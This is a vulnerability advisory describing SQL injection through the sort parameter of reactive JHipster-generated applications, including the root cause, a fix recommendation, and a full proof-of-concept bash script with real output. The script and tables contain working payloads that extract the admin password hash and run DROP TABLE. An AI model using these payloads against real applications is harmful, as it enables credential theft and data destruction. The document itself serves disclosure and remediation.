CVE-2026-107375: JHipster: SQL Injection in the Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applicationssort

SQL Injection in the sort Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applications

- Product: jhipster/generator-jhipster (npm package generator-jhipster) - Affected versions: v7.0.0 through v9.2.0 - Component: generated reactive-application code, template EntityManagerreactive.java.ejs - Report date: 2026-08-29

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1. Summary

Every reactive (Spring WebFlux + Spring Data R2DBC + SQL) application generated by generator-jhipster contains an SQL injection in the paginated entity list endpoints (GET /api/<entity>?sort=...). The sort request parameter is taken verbatim from the user and concatenated into the SQL ORDER BY clause without quoting or validation. Because the generated query has no bound parameters, the R2DBC drivers execute it via the simple query protocol, so ;-separated extra statements are run against the database.

A single authenticated low-privileged user (including an account obtained through the default self-registration flow) can therefore execute arbitrary SQL: read any table (including jhiuser password hashes), modify or delete data, and drop tables (full C/I/A impact). Independently reproduced end-to-end on the default dev database (H2) and the default production database (PostgreSQL 16).

The JPA (non-reactive) path is not affected: Spring Data JPA validates sort property names against the entity metamodel. NoSQL backends are out of scope of this root cause.

2. Root Cause

The generator template generators/spring-boot/generators/data-relational/templates/src/main/java/package/repository/EntityManagerreactive.java.ejs (lines 240–253) writes createOrderByFields(...), which renders the user-supplied sort property directly as an unquoted SqlIdentifier:

java private static Collection<? extends OrderByField> createOrderByFields(Table table, Sort sortToUse) { List<OrderByField> fields = new ArrayList<>(); for (Sort.Order order : sortToUse) { String propertyName = order.getProperty(); // attacker controlled (?sort=...) OrderByField orderByField = !propertyName.contains(".") ? OrderByField.from(table.column(propertyName).as(EntityManager.ALIASPREFIX + propertyName)) : createOrderByField(propertyName); fields.add(order.isAscending() ? orderByField.asc() : orderByField.desc()); } return fields; }

The generated app configures SqlRenderer.create(factory.createRenderContext()) with the default naming strategy, so unquoted identifiers are rendered verbatim. With ?sort=id;DROP TABLE product;-- the alias renders into:

sql SELECT e.id AS eid, e.name AS ename, e.price AS eprice FROM product e ORDER BY eid;DROP TABLE product;-- ASC LIMIT 20 OFFSET 0

3. Verification

A real application was generated from this repository (git clone of the submitted source, v9.2.0), built with Spring Boot 4.1.1, and run against both H2 and PostgreSQL 16.

| Step | H2 (dev default) | PostgreSQL 16 (prod default) | | ------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------- | -------------------------------------------------- | | Error probe sort=name%27 | 500; SQL echoed with raw ' in ORDER BY ename' | 500; r2dbc-postgresql parse error echoing full SQL | | Exfiltrate admin hash via ;UPDATE product SET name=(SELECT passwordhash FROM jhiuser ...);-- | HTTP 200; name becomes $2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC | HTTP 200; same hash read back | | ;DROP TABLE product;-- | HTTP 200; table gone, subsequent list → 500 | HTTP 200; table gone, subsequent list → 500 |

All payloads executed with a token carrying only ROLEUSER. No other vulnerability or privileged account is required.

4. Impact

CWE-89 SQL Injection. Confidentiality (arbitrary read, incl. jhiuser password hashes), Integrity (arbitrary writes), Availability (table drops). The affected code is produced by default for reactive: true + SQL database + paginated entity (the default for monoliths and microservices). Applications must be regenerated after a fix.

5. Fix Recommendation

In EntityManager.createOrderByFields, validate each sort property against the entity's persistent metamodel (allow only known column names) or render it as a quoted SqlIdentifier; never concatenate raw property strings into SQL. Ship the fix in the generator and advise affected applications to regenerate.

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Appendix

A. Environment setup

bash 0. Prerequisites: JDK 21, Node >= 20, Docker (PostgreSQL step only), Maven (optional), curl, python3 java -version # openjdk 21.x node --version # v20+

1. Clone the generator git clone https://github.com/jhipster/generator-jhipster.git cd generator-jhipster git checkout <affected-tag> # e.g. v9.2.0 (or keep main). Folder MUST be named generator-jhipster. npm install --no-audit --no-fund # ~778 packages npm link # makes jhipster available jhipster --version # expected: 9.2.0

2. Generate the target app (reactive + SQL + JWT + paginated entity) mkdir -p /tmp/pocwebflux && cd /tmp/pocwebflux cat > .yo-rc.json <<'EOF' { "generator-jhipster": { "applicationType": "monolith", "baseName": "pocwebflux", "packageName": "com.mycompany.pocwebflux", "authenticationType": "jwt", "databaseType": "sql", "devDatabaseType": "h2Memory", "prodDatabaseType": "postgresql", "reactive": true, "skipClient": true, "buildTool": "maven", "enableTranslation": false, "jhipsterVersion": "9.2.0" } } EOF cat > product.jdl <<'EOF' entity Product { name String required, price BigDecimal } paginate Product with pagination EOF export JAVAHOME=$HOME/.sdkman/candidates/java/21.0.7-amzn jhipster --no-insight --force # -> "Spring Boot 4.1.1 application generated successfully." jhipster jdl product.jdl --no-insight --force

Sanity check that the generated app contains the vulnerable code (all should match): grep -n "OrderByField.from(table.column" src/main/java/com/mycompany/pocwebflux/repository/EntityManager.java grep -n "findAllBy(Pageable" src/main/java/com/mycompany/pocwebflux/repository/ProductRepositoryInternalImpl.java grep -n "Pageable pageable" src/main/java/com/mycompany/pocwebflux/web/rest/ProductResource.java

3a. Run on H2 (default dev database) ./mvnw -DskipTests package # -> BUILD SUCCESS setsid nohup $JAVAHOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \ --spring.profiles.active=dev --server.port=18080 > app-dev.log 2>&1 < /dev/null & curl -s http://127.0.0.1:18080/management/health # -> {"groups":[...],"status":"UP"} BASEURL=http://127.0.0.1:18080 bash <path-to>/poc/poc.sh

3b. Run on PostgreSQL 16 (default production database) docker run -d --name jh-pg16 -e POSTGRESUSER=pocwebflux -e POSTGRESPASSWORD=secret \ -e POSTGRESDB=pocwebflux -p 15432:5432 postgres:16 ./mvnw -Pprod -DskipTests package # prod DB driver is in the Maven prod profile SECRET=$(python3 -c "import base64,os;print(base64.b64encode(os.urandom(64)).decode())") setsid nohup $JAVAHOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \ --spring.profiles.active=prod --server.port=18081 \ --spring.r2dbc.url=r2dbc:postgresql://127.0.0.1:15432/pocwebflux \ --spring.r2dbc.username=pocwebflux --spring.r2dbc.password=secret \ --spring.liquibase.url=jdbc:postgresql://127.0.0.1:15432/pocwebflux \ --spring.liquibase.user=pocwebflux --spring.liquibase.password=secret \ --jhipster.security.authentication.jwt.base64-secret=$SECRET > app-prod.log 2>&1 < /dev/null & seed two products via the API (prod has no sample data), then run poc.sh: BASEURL=http://127.0.0.1:18081 bash <path-to>/poc/poc.sh docker rm -f jh-pg16

B. PoC script

bash #!/usr/bin/env bash Usage: BASEURL=http://host:port ./poc.sh (uses seeded user/user; JWT=... to reuse a token) set -euo pipefail BASEURL="${BASEURL:-http://127.0.0.1:18080}"; JWT="${JWT:-}"; LOGIN="${LOGIN:-user}"; PASSWORD="${PASSWORD:-user}"

if [ -z "$JWT" ]; then JWT=$(curl -s -X POST "$BASEURL/api/authenticate" -H 'Content-Type: application/json' \ -d "{\"username\":\"$LOGIN\",\"password\":\"$PASSWORD\",\"rememberMe\":false}" \ | python3 -c "import sys,json;print(json.load(sys.stdin)['idtoken'])") fi AUTH="Authorization: Bearer $JWT"

echo "== 2) Baseline ==" curl -s -H "$AUTH" "$BASEURL/api/products?sort=id,asc&page=0&size=2" | head -c 300; echo echo "== 3) Error probe: sort=name' ==" curl -s -H "$AUTH" "$BASEURL/api/products?sort=name%27" \ | python3 -c 'import sys,json;d=json.load(sys.stdin);print(d.get("status"));print(d.get("detail"))' || true echo "== 4) Exfiltrate admin bcrypt hash ==" PAYLOAD="id%3BUPDATE%20product%20SET%20name%3D(SELECT%20passwordhash%20FROM%20jhiuser%20ORDER%20BY%20login%20LIMIT%201)%20WHERE%20id%3D(SELECT%20min(id)%20FROM%20product)%3B--" curl -s -o /dev/null -w " injection HTTP %{httpcode}\n" -H "$AUTH" "$BASEURL/api/products?sort=$PAYLOAD" curl -s -H "$AUTH" "$BASEURL/api/products?sort=id,asc&page=0&size=2" \ | python3 -c "import sys,json;[print(' id=%s name=%s'%(p['id'],p['name'])) for p in json.load(sys.stdin)]" echo "== 5) DROP TABLE product ==" PAYLOAD="id%3BDROP%20TABLE%20product%3B--" curl -s -o /dev/null -w " injection HTTP %{httpcode}\n" -H "$AUTH" "$BASEURL/api/products?sort=$PAYLOAD" curl -s -H "$AUTH" "$BASEURL/api/products?sort=id,asc" \ | python3 -c 'import sys,json;d=json.load(sys.stdin);print(d.get("status"));print(str(d.get("detail"))[:90])' || true

C. Real output (H2 run, 2026-08-29, full poc.sh execution)

== Target: http://127.0.0.1:18080 == == 1) Obtain a low-privileged token (user/user) == == 2) Baseline: benign paginated read (sort=id,asc) == [ { "id" : 1, "name" : "eke below forceful", "price" : 3151.02 }, { "id" : 2, ... } ]

== 3) Error probe: sort=name' -> raw quote reaches ORDER BY unescaped == status: 500 detail: Syntax error in SQL statement "SELECT e.id AS eid, e.name AS ename, e.price AS eprice FROM product e ORDER BY ename[]' ASC OFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY"; SQL statement: SELECT e.id AS eid, e.name AS ename, e.price AS eprice FROM product e ORDER BY ename' ASC OFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY [42000-240]

== 4) Arbitrary SQL: exfiltrate jhiuser.passwordhash (admin) into a readable field == injection request HTTP 200 Read back - first product 'name' now equals the admin bcrypt hash: id=1 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC id=2 name=notwithstanding

== 5) Arbitrary SQL: DROP TABLE product (availability) == injection request HTTP 200 After injection, listing products again: status: 500 detail: Table "PRODUCT" not found; SQL statement: SELECT COUNT() FROM product [42102-240]

== Done. The database has been modified / a table dropped by injected SQL. == <img width="1280" height="1519" alt="evidence-01-h2" src="https://github.com/user-attachments/assets/daceef8d-60ae-4edc-ab3e-c1020e1b0d77" />

D. Real output (PostgreSQL 16 run )

== 3) Error probe: sort=name' == status: 500 detail: Sql cannot be parsed: unclosed quote (quote opened at index 88) in statement: SELECT e.id AS eid, e.name AS ename, e.price AS eprice FROM product e ORDER BY ename' ASC LIMIT 20 OFFSET 0

== 4) Exfiltrate jhiuser.passwordhash (admin) into a readable field == injection request HTTP 200 id=1500 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC id=1501 name=beta widget

== 5) DROP TABLE product == injection request HTTP 200 -> subsequent list: status 500 "Failure during data access" <img width="1280" height="891" alt="evidence-02-postgresql" src="https://github.com/user-attachments/assets/61cf5bf4-d957-4969-80e3-06d9626b1142" />